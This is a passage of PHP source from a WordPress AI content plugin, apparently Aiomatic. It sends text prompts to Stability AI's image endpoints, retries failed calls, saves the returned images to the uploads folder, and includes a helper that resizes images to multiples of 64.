(!isset($aiomatic_Main_Settings['clip_guidance_preset']) || trim($aiomatic_Main_Settings['clip_guidance_preset']) == '') { $clip_guidance_preset = 'NONE'; } else { $clip_guidance_preset = trim($aiomatic_Main_Settings['clip_guidance_preset']); } if (!isset($aiomatic_Main_Settings['clip_style_preset']) || trim($aiomatic_Main_Settings['clip_style_preset']) == '') { $clip_style_preset = 'NONE'; } else { $clip_style_preset = trim($aiomatic_Main_Settings['clip_style_preset']); } if (!isset($aiomatic_Main_Settings['sampler']) || trim($aiomatic_Main_Settings['sampler']) == '') { $sampler = 'auto'; } else { $sampler = trim($aiomatic_Main_Settings['sampler']); } if(intval($steps) < 10 || intval($steps) > 250) { $error = 'Invalid steps count provided (10-250): ' . intval($steps); $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } if(intval($cfg_scale) < 0 || intval($cfg_scale) > 35) { $error = 'Invalid cfg_scale count provided (0-35): ' . intval($cfg_scale); $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } if(intval($cfg_seed) < 0 || intval($cfg_seed) > 4294967295) { $error = 'Invalid cfg_seed count provided (0-4294967295): ' . intval($cfg_seed); $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } if($stable_model == 'stable-diffusion-core') { $api_url = 'https://api.stability.ai/v2beta/stable-image/generate/core'; $ch = curl_init(); if($ch === false) { if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count) { aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') Stability API call after initial failure: ' . print_r($api_url, true)); sleep(pow(2, $retry_count)); return aiomatic_generate_stability_image($text, $height, $width, $env, intval($retry_count) + 1, $returnbase64, $error, $nolocal); } else { $error = 'Failed to create Stability curl request.'; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } } curl_setopt($ch, CURLOPT_URL, $api_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST'); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Accept: application/json', 'Content-Type: multipart/form-data', 'Authorization: Bearer ' . $token)); $data = [ 'prompt' => $text, 'output_format' => 'png' ]; if(trim($cfg_seed) != '') { $data['seed'] = trim($cfg_seed); } if(trim($clip_style_preset) != '') { $data['style_preset'] = trim($clip_style_preset); } if($width > $height) { $data['aspect_ratio'] = '16:9'; } elseif($width < $height) { $data['aspect_ratio'] = '9:16'; } else { $data['aspect_ratio'] = '1:1'; } curl_setopt($ch, CURLOPT_POSTFIELDS, $data); $ai_response = curl_exec($ch); $info = curl_getinfo($ch); if($info['http_code'] != 200) { if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count) { aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') Stability API call after http_code failure: ' . print_r($api_url, true)); sleep(pow(2, $retry_count)); return aiomatic_generate_stability_image($text, $height, $width, $env, intval($retry_count) + 1, $returnbase64, $error, $nolocal); } else { $er = ' '; $json_resp = json_decode($ai_response, true); if($json_resp !== null) { $er .= 'Error: ' . $json_resp['name'] . ': ' . $json_resp['message']; } aiomatic_log_to_file('Invalid return code from API: ' . $info['http_code'] . $er); $error = 'Failed to generate the image, please try again later!'; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } } curl_close($ch); if($ai_response === false) { if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count) { aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') Stability API call after response failure: ' . print_r($api_url, true)); sleep(pow(2, $retry_count)); return aiomatic_generate_stability_image($text, $height, $width, $env, intval($retry_count) + 1, $returnbase64, $error, $nolocal); } else { $error = 'Failed to get AI response: ' . $api_url; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } } else { $json_resp = json_decode($ai_response, true); if($json_resp === null) { if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count) { aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') Stability API call after decode failure: ' . print_r($api_url, true)); sleep(pow(2, $retry_count)); return aiomatic_generate_stability_image($text, $height, $width, $env, intval($retry_count) + 1, $returnbase64, $error, $nolocal); } else { $error = 'Failed to decode AI response: ' . $ai_response; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } } if(!isset($json_resp['image'])) { if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count) { aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') Stability API call after response failure: ' . print_r($api_url, true)); sleep(pow(2, $retry_count)); return aiomatic_generate_stability_image($text, $height, $width, $env, intval($retry_count) + 1, $returnbase64, $error, $nolocal); } else { $error = 'Invalid AI response: ' . $ai_response; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } } $upload_dir = wp_upload_dir(); $keyword_class = new Aiomatic_keywords(); $filename = $keyword_class->keywords($text, 4); $filename = str_replace(' ', '-', $filename); if(empty($filename)) { $seed = rand(); if(isset($json_resp['seed'])) { $seed = $json_resp['seed']; } $filename = $seed . '.png'; } else { $filename .= '-' . rand(1,99999) . '.png'; } if (wp_mkdir_p($upload_dir['path'])) { $file = $upload_dir['path'] . '/' . $filename; $ret_path = $upload_dir['url'] . '/' . $filename; } else { $file = $upload_dir['basedir'] . '/' . $filename; $ret_path = $upload_dir['baseurl'] . '/' . $filename; } $reason = ''; if(isset($json_resp['finish_reason'])) { $reason = $json_resp['finish_reason']; if($reason == 'ERROR') { if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count) { aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') Stability API call after error failure: ' . print_r($api_url, true)); sleep(pow(2, $retry_count)); return aiomatic_generate_stability_image($text, $height, $width, $env, intval($retry_count) + 1, $returnbase64, $error, $nolocal); } else { $error = 'An error was encountered during API call: ' . $ai_response; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } } elseif($reason == 'CONTENT_FILTERED') { aiomatic_log_to_file('The image was filtered, by the nudity filter, blurred parts may appear in it, prompt: ' . $ret_path); } } $json_resp = apply_filters( 'aiomatic_stability_reply_raw', $json_resp, $text ); $img = $json_resp['image']; apply_filters( 'aiomatic_ai_reply', $img, $query ); if($returnbase64 == true) { return $img; } $rezi = aiomatic_base64_to_jpeg($img, $file, $ret_path); if($rezi !== false && $rezi !== '') { if($nolocal === false && isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] != 'disabled' && $aiomatic_Main_Settings['copy_locally'] != 'on') { $localpath = aiomatic_copy_image_locally($rezi[1]); if($localpath !== false) { unlink($rezi[0]); $localrez = array(); $localrez[0] = $localpath[1]; $localrez[1] = $localpath[0]; $rezi = $localrez; } } } return $rezi; } } elseif($stable_model == 'stable-diffusion-ultra') { $api_url = 'https://api.stability.ai/v2beta/stable-image/generate/ultra'; $ch = curl_init(); if($ch === false) { if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count) { aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') Stability API call after initial failure: ' . print_r($api_url, true)); sleep(pow(2, $retry_count)); return aiomatic_generate_stability_image($text, $height, $width, $env, intval($retry_count) + 1, $returnbase64, $error, $nolocal); } else { $error = 'Failed to create Stability curl request.'; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } } curl_setopt($ch, CURLOPT_URL, $api_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST'); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Accept: application/json', 'Content-Type: multipart/form-data', 'Authorization: Bearer ' . $token)); $data = [ 'prompt' => $text, 'output_format' => 'png' ]; if(trim($cfg_seed) != '') { $data['seed'] = trim($cfg_seed); } if($width > $height) { $data['aspect_ratio'] = '16:9'; } elseif($width < $height) { $data['aspect_ratio'] = '9:16'; } else { $data['aspect_ratio'] = '1:1'; } curl_setopt($ch, CURLOPT_POSTFIELDS, $data); $ai_response = curl_exec($ch); $info = curl_getinfo($ch); if($info['http_code'] != 200) { if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count) { aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') Stability API call after http_code failure: ' . print_r($api_url, true)); sleep(pow(2, $retry_count)); return aiomatic_generate_stability_image($text, $height, $width, $env, intval($retry_count) + 1, $returnbase64, $error, $nolocal); } else { $er = ' '; $json_resp = json_decode($ai_response, true); if($json_resp !== null) { $er .= 'Error: ' . $json_resp['name'] . ': ' . $json_resp['message']; } aiomatic_log_to_file('Invalid return code from API: ' . $info['http_code'] . $er); $error = 'Failed to generate the image, please try again later!'; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } } curl_close($ch); if($ai_response === false) { if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count) { aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') Stability API call after response failure: ' . print_r($api_url, true)); sleep(pow(2, $retry_count)); return aiomatic_generate_stability_image($text, $height, $width, $env, intval($retry_count) + 1, $returnbase64, $error, $nolocal); } else { $error = 'Failed to get AI response: ' . $api_url; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } } else { $json_resp = json_decode($ai_response, true); if($json_resp === null) { if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count) { aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') Stability API call after decode failure: ' . print_r($api_url, true)); sleep(pow(2, $retry_count)); return aiomatic_generate_stability_image($text, $height, $width, $env, intval($retry_count) + 1, $returnbase64, $error, $nolocal); } else { $error = 'Failed to decode AI response: ' . $ai_response; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } } if(!isset($json_resp['image'])) { if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count) { aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') Stability API call after response failure: ' . print_r($api_url, true)); sleep(pow(2, $retry_count)); return aiomatic_generate_stability_image($text, $height, $width, $env, intval($retry_count) + 1, $returnbase64, $error, $nolocal); } else { $error = 'Invalid AI response: ' . $ai_response; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } } $upload_dir = wp_upload_dir(); $keyword_class = new Aiomatic_keywords(); $filename = $keyword_class->keywords($text, 4); $filename = str_replace(' ', '-', $filename); if(empty($filename)) { $seed = rand(); if(isset($json_resp['seed'])) { $seed = $json_resp['seed']; } $filename = $seed . '.png'; } else { $filename .= '-' . rand(1,99999) . '.png'; } if (wp_mkdir_p($upload_dir['path'])) { $file = $upload_dir['path'] . '/' . $filename; $ret_path = $upload_dir['url'] . '/' . $filename; } else { $file = $upload_dir['basedir'] . '/' . $filename; $ret_path = $upload_dir['baseurl'] . '/' . $filename; } $reason = ''; if(isset($json_resp['finish_reason'])) { $reason = $json_resp['finish_reason']; if($reason == 'ERROR') { if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count) { aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') Stability API call after error failure: ' . print_r($api_url, true)); sleep(pow(2, $retry_count)); return aiomatic_generate_stability_image($text, $height, $width, $env, intval($retry_count) + 1, $returnbase64, $error, $nolocal); } else { $error = 'An error was encountered during API call: ' . $ai_response; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } } elseif($reason == 'CONTENT_FILTERED') { aiomatic_log_to_file('The image was filtered, by the nudity filter, blurred parts may appear in it, prompt: ' . $ret_path); } } $json_resp = apply_filters( 'aiomatic_stability_reply_raw', $json_resp, $text ); $img = $json_resp['image']; apply_filters( 'aiomatic_ai_reply', $img, $query ); if($returnbase64 == true) { return $img; } $rezi = aiomatic_base64_to_jpeg($img, $file, $ret_path); if($rezi !== false && $rezi !== '') { if($nolocal === false && isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] != 'disabled' && $aiomatic_Main_Settings['copy_locally'] != 'on') { $localpath = aiomatic_copy_image_locally($rezi[1]); if($localpath !== false) { unlink($rezi[0]); $localrez = array(); $localrez[0] = $localpath[1]; $localrez[1] = $localpath[0]; $rezi = $localrez; } } } return $rezi; } } elseif($stable_model == 'stable-diffusion-3-0-turbo' || $stable_model == 'stable-diffusion-3-0-large' || $stable_model == 'stable-diffusion-3-0-medium') { $api_url = 'https://api.stability.ai/v2beta/stable-image/generate/sd3'; $ch = curl_init(); if($ch === false) { if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count) { aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') Stability API call after initial failure: ' . print_r($api_url, true)); sleep(pow(2, $retry_count)); return aiomatic_generate_stability_image($text, $height, $width, $env, intval($retry_count) + 1, $returnbase64, $error, $nolocal); } else { $error = 'Failed to create Stability curl request.'; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } } curl_setopt($ch, CURLOPT_URL, $api_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST'); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Accept: application/json', 'Content-Type: multipart/form-data', 'Authorization: Bearer ' . $token)); if($stable_model == 'stable-diffusion-3-0-turbo') { $smodel = 'sd3-large-turbo'; } elseif($stable_model == 'stable-diffusion-3-0-large') { $smodel = 'sd3-large'; } else { $smodel = 'sd3-medium'; } $data = [ 'prompt' => $text, 'mode' => 'text-to-image', 'output_format' => 'png', 'model' => $smodel ]; if(trim($cfg_seed) != '') { $data['seed'] = trim($cfg_seed); } if($width > $height) { $data['aspect_ratio'] = '16:9'; } elseif($width < $height) { $data['aspect_ratio'] = '9:16'; } else { $data['aspect_ratio'] = '1:1'; } curl_setopt($ch, CURLOPT_POSTFIELDS, $data); $ai_response = curl_exec($ch); $info = curl_getinfo($ch); if($info['http_code'] != 200) { if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count) { aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') Stability API call after http_code failure: ' . print_r($api_url, true)); sleep(pow(2, $retry_count)); return aiomatic_generate_stability_image($text, $height, $width, $env, intval($retry_count) + 1, $returnbase64, $error, $nolocal); } else { $er = ' '; $json_resp = json_decode($ai_response, true); if($json_resp !== null) { $er .= 'Error: ' . $json_resp['name'] . ': ' . $json_resp['message']; } aiomatic_log_to_file('Invalid return code from API: ' . $info['http_code'] . $er); $error = 'Failed to generate the image, please try again later!'; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } } curl_close($ch); if($ai_response === false) { if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count) { aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') Stability API call after response failure: ' . print_r($api_url, true)); sleep(pow(2, $retry_count)); return aiomatic_generate_stability_image($text, $height, $width, $env, intval($retry_count) + 1, $returnbase64, $error, $nolocal); } else { $error = 'Failed to get AI response: ' . $api_url; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } } else { $json_resp = json_decode($ai_response, true); if($json_resp === null) { if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count) { aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') Stability API call after decode failure: ' . print_r($api_url, true)); sleep(pow(2, $retry_count)); return aiomatic_generate_stability_image($text, $height, $width, $env, intval($retry_count) + 1, $returnbase64, $error, $nolocal); } else { $error = 'Failed to decode AI response: ' . $ai_response; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } } if(!isset($json_resp['image'])) { if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count) { aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') Stability API call after response failure: ' . print_r($api_url, true)); sleep(pow(2, $retry_count)); return aiomatic_generate_stability_image($text, $height, $width, $env, intval($retry_count) + 1, $returnbase64, $error, $nolocal); } else { $error = 'Invalid AI response: ' . $ai_response; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } } $upload_dir = wp_upload_dir(); $keyword_class = new Aiomatic_keywords(); $filename = $keyword_class->keywords($text, 4); $filename = str_replace(' ', '-', $filename); if(empty($filename)) { $seed = rand(); if(isset($json_resp['seed'])) { $seed = $json_resp['seed']; } $filename = $seed . '.png'; } else { $filename .= '-' . rand(1,99999) . '.png'; } if (wp_mkdir_p($upload_dir['path'])) { $file = $upload_dir['path'] . '/' . $filename; $ret_path = $upload_dir['url'] . '/' . $filename; } else { $file = $upload_dir['basedir'] . '/' . $filename; $ret_path = $upload_dir['baseurl'] . '/' . $filename; } $reason = ''; if(isset($json_resp['finish_reason'])) { $reason = $json_resp['finish_reason']; if($reason == 'ERROR') { if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count) { aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') Stability API call after error failure: ' . print_r($api_url, true)); sleep(pow(2, $retry_count)); return aiomatic_generate_stability_image($text, $height, $width, $env, intval($retry_count) + 1, $returnbase64, $error, $nolocal); } else { $error = 'An error was encountered during API call: ' . $ai_response; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } } elseif($reason == 'CONTENT_FILTERED') { aiomatic_log_to_file('The image was filtered, by the nudity filter, blurred parts may appear in it, prompt: ' . $ret_path); } } $json_resp = apply_filters( 'aiomatic_stability_reply_raw', $json_resp, $text ); $img = $json_resp['image']; apply_filters( 'aiomatic_ai_reply', $img, $query ); if($returnbase64 == true) { return $img; } $rezi = aiomatic_base64_to_jpeg($img, $file, $ret_path); if($rezi !== false && $rezi !== '') { if($nolocal === false && isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] != 'disabled' && $aiomatic_Main_Settings['copy_locally'] != 'on') { $localpath = aiomatic_copy_image_locally($rezi[1]); if($localpath !== false) { unlink($rezi[0]); $localrez = array(); $localrez[0] = $localpath[1]; $localrez[1] = $localpath[0]; $rezi = $localrez; } } } return $rezi; } } else { $api_url = 'https://api.stability.ai/v1/generation/' . $stable_model . '/text-to-image'; $ch = curl_init(); if($ch === false) { if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count) { aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') Stability API call after initial failure: ' . print_r($api_url, true)); sleep(pow(2, $retry_count)); return aiomatic_generate_stability_image($text, $height, $width, $env, intval($retry_count) + 1, $returnbase64, $error, $nolocal); } else { $error = 'Failed to create Stability curl request.'; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } } curl_setopt($ch, CURLOPT_URL, $api_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST'); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Accept: application/json', 'Content-Type: application/json', 'Authorization: ' . $token)); $post_fields = '{"samples": 1,'; if(trim($cfg_scale) != '' && trim($cfg_scale) != '7') { $post_fields .= '"cfg_scale": ' . trim($cfg_scale) . ','; } if(trim($cfg_seed) != '') { $post_fields .= '"seed": ' . trim($cfg_seed) . ','; } if(trim($clip_guidance_preset) != '' && trim($clip_guidance_preset) != 'NONE') { $post_fields .= '"clip_guidance_preset": "' . trim($clip_guidance_preset) . '",'; } if(trim($clip_style_preset) != '' && trim($clip_style_preset) != 'NONE') { $post_fields .= '"style_preset": "' . trim($clip_style_preset) . '",'; } if(trim($height) != '' && trim($height) != '512') { $post_fields .= '"height": ' . trim($height) . ','; } if(trim($width) != '' && trim($width) != '512') { $post_fields .= '"width": ' . trim($width) . ','; } if(trim($steps) != '' && trim($steps) != '50') { $post_fields .= '"steps": ' . trim($steps) . ','; } if(trim($sampler) != '' && trim($sampler) != 'auto') { $post_fields .= '"sampler": "' . trim($sampler) . '",'; } $post_fields .= '"text_prompts": [{"text": "' . str_replace('"', '\'', $text) . '","weight": 1}]}'; curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields); $ai_response = curl_exec($ch); $info = curl_getinfo($ch); if($info['http_code'] != 200) { if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count) { aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') Stability API call after http_code failure: ' . print_r($api_url, true)); sleep(pow(2, $retry_count)); return aiomatic_generate_stability_image($text, $height, $width, $env, intval($retry_count) + 1, $returnbase64, $error, $nolocal); } else { $er = ' '; $json_resp = json_decode($ai_response, true); if($json_resp !== null) { $er .= 'Error: ' . $json_resp['name'] . ': ' . $json_resp['message']; } aiomatic_log_to_file('Invalid return code from API: ' . $info['http_code'] . $er); aiomatic_log_to_file('PostFields: ' . $post_fields); $error = 'Failed to generate the image, please try again later!'; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } } curl_close($ch); if($ai_response === false) { if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count) { aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') Stability API call after response failure: ' . print_r($api_url, true)); sleep(pow(2, $retry_count)); return aiomatic_generate_stability_image($text, $height, $width, $env, intval($retry_count) + 1, $returnbase64, $error, $nolocal); } else { $error = 'Failed to get AI response: ' . $api_url; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } } else { $json_resp = json_decode($ai_response, true); if($json_resp === null) { if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count) { aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') Stability API call after decode failure: ' . print_r($api_url, true)); sleep(pow(2, $retry_count)); return aiomatic_generate_stability_image($text, $height, $width, $env, intval($retry_count) + 1, $returnbase64, $error, $nolocal); } else { $error = 'Failed to decode AI response: ' . $ai_response; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } } if(!isset($json_resp['artifacts'][0]['base64'])) { if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count) { aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') Stability API call after response failure: ' . print_r($api_url, true)); sleep(pow(2, $retry_count)); return aiomatic_generate_stability_image($text, $height, $width, $env, intval($retry_count) + 1, $returnbase64, $error, $nolocal); } else { $error = 'Invalid AI response: ' . $ai_response; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } } $upload_dir = wp_upload_dir(); $keyword_class = new Aiomatic_keywords(); $filename = $keyword_class->keywords($text, 4); $filename = str_replace(' ', '-', $filename); if(empty($filename)) { $seed = rand(); if(isset($json_resp['artifacts'][0]['seed'])) { $seed = $json_resp['artifacts'][0]['seed']; } $filename = $seed . '.png'; } else { $filename .= '-' . rand(1,99999) . '.png'; } if (wp_mkdir_p($upload_dir['path'])) { $file = $upload_dir['path'] . '/' . $filename; $ret_path = $upload_dir['url'] . '/' . $filename; } else { $file = $upload_dir['basedir'] . '/' . $filename; $ret_path = $upload_dir['baseurl'] . '/' . $filename; } $reason = ''; if(isset($json_resp['artifacts'][0]['finishReason'])) { $reason = $json_resp['artifacts'][0]['finishReason']; if($reason == 'ERROR') { if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count) { aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') Stability API call after error failure: ' . print_r($api_url, true)); sleep(pow(2, $retry_count)); return aiomatic_generate_stability_image($text, $height, $width, $env, intval($retry_count) + 1, $returnbase64, $error, $nolocal); } else { $error = 'An error was encountered during API call: ' . $ai_response; $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } } elseif($reason == 'CONTENT_FILTERED') { aiomatic_log_to_file('The image was filtered, by the nudity filter, blurred parts may appear in it, prompt: ' . $ret_path); } } $json_resp = apply_filters( 'aiomatic_stability_reply_raw', $json_resp, $text ); $img = $json_resp['artifacts'][0]['base64']; apply_filters( 'aiomatic_ai_reply', $img, $query ); if($returnbase64 == true) { return $img; } $rezi = aiomatic_base64_to_jpeg($img, $file, $ret_path); if($rezi !== false && $rezi !== '') { if($nolocal === false && isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] != 'disabled' && $aiomatic_Main_Settings['copy_locally'] != 'on') { $localpath = aiomatic_copy_image_locally($rezi[1]); if($localpath !== false) { unlink($rezi[0]); $localrez = array(); $localrez[0] = $localpath[1]; $localrez[1] = $localpath[0]; $rezi = $localrez; } } } return $rezi; } } } function aiomatic_resizeImageStringToMultipleOf64($imageString, $stable_model) { $allowedDimensions = [ 'stable-diffusion-xl-1024-v0-9' => [ [1024, 1024], [1152, 896], [1216, 832], [1344, 768], [1536, 640], [640, 1536], [768, 1344], [832, 1216], [896, 1152] ], 'stable-diffusion-xl-1024-v1-0' => [ [1024, 1024], [1152, 896], [1216, 832], [1344, 768], [1536, 640], [640, 1536], [768, 1344], [832, 1216], [896, 1152] ] ]; $maxPixels = 1048576; $minPixels = 262144; $factor = 64; if(!function_exists('imagecreatefromstring')) { return false; } $srcImage = imagecreatefromstring($imageString); if (!$srcImage) { return false; } $width = imagesx($srcImage); $height = imagesy($srcImage); $newWidth = round($width / $factor) * $factor; $newHeight = round($height / $factor) * $factor; while (($newWidth * $newHeight) > $maxPixels) { $newWidth -= $factor; $newHeight -= $factor; } while (($newWidth * $newHeight) < $minPixels) { $newWidth += $factor; $newHeight += $factor; } if (array_key_exists($stable_model, $allowedDimensions)) { $closest = null; $closestDiff = PHP_INT_MAX; foreach ($allowedDimensions[$stable_model] as list($allowedWidth, $allowedHeight)) { $diff = abs($newWidth - $allowedWidth) + abs($newHeight - $allowedHeight); if ($diff < $closestDiff) { $closestDiff = $diff; $closest = [$allowedWidth, $allowedHeight]; } } if ($closest !== null) { list($resizeWidth, $resizeHeight) = $closest; } else { $resizeWidth = $newWidth; $resizeHeight = $newHeight; } } else { $resizeWidth = $newWidth; $resizeHeight = $newHeight; } $newImage = imagecreatetruecolor($resizeWidth, $resizeHeight); imagecopyresampled($newImage, $srcImage, 0, 0, 0, 0, $resizeWidth, $resizeHeight, $width, $height); ob_start(); imagejpeg($newImage); $newImageString = ob_get_clean(); imagedestroy($srcImage); imagedestroy($newImage); return $newImageString; } function aiomatic_transformFileName($url) { $path = parse_url($url, PHP_URL_PATH); $originalFileName = pathinfo($path, PATHINFO_FILENAME); return $originalFileName; } function aiomatic_generate_stability_image_to_image($init_image_url = '', $text = '', $image_strength = 0.5, $env = '', $retry_count = 0, $returnbase64 = false, &$error = '', $nolocal = false, $stable_model = false) { $is_allowed = apply_filters('aiomatic_is_ai_image_allowed', true, $text); if ( $is_allowed !== true ) { $error = is_string( $is_allowed ) ? $is_allowed : esc_html__('You are not allowed to do this query', 'aiomatic-automatic-ai-content-writer'); $error = apply_filters('aiomatic_modify_ai_error', $error); return false; } $text = 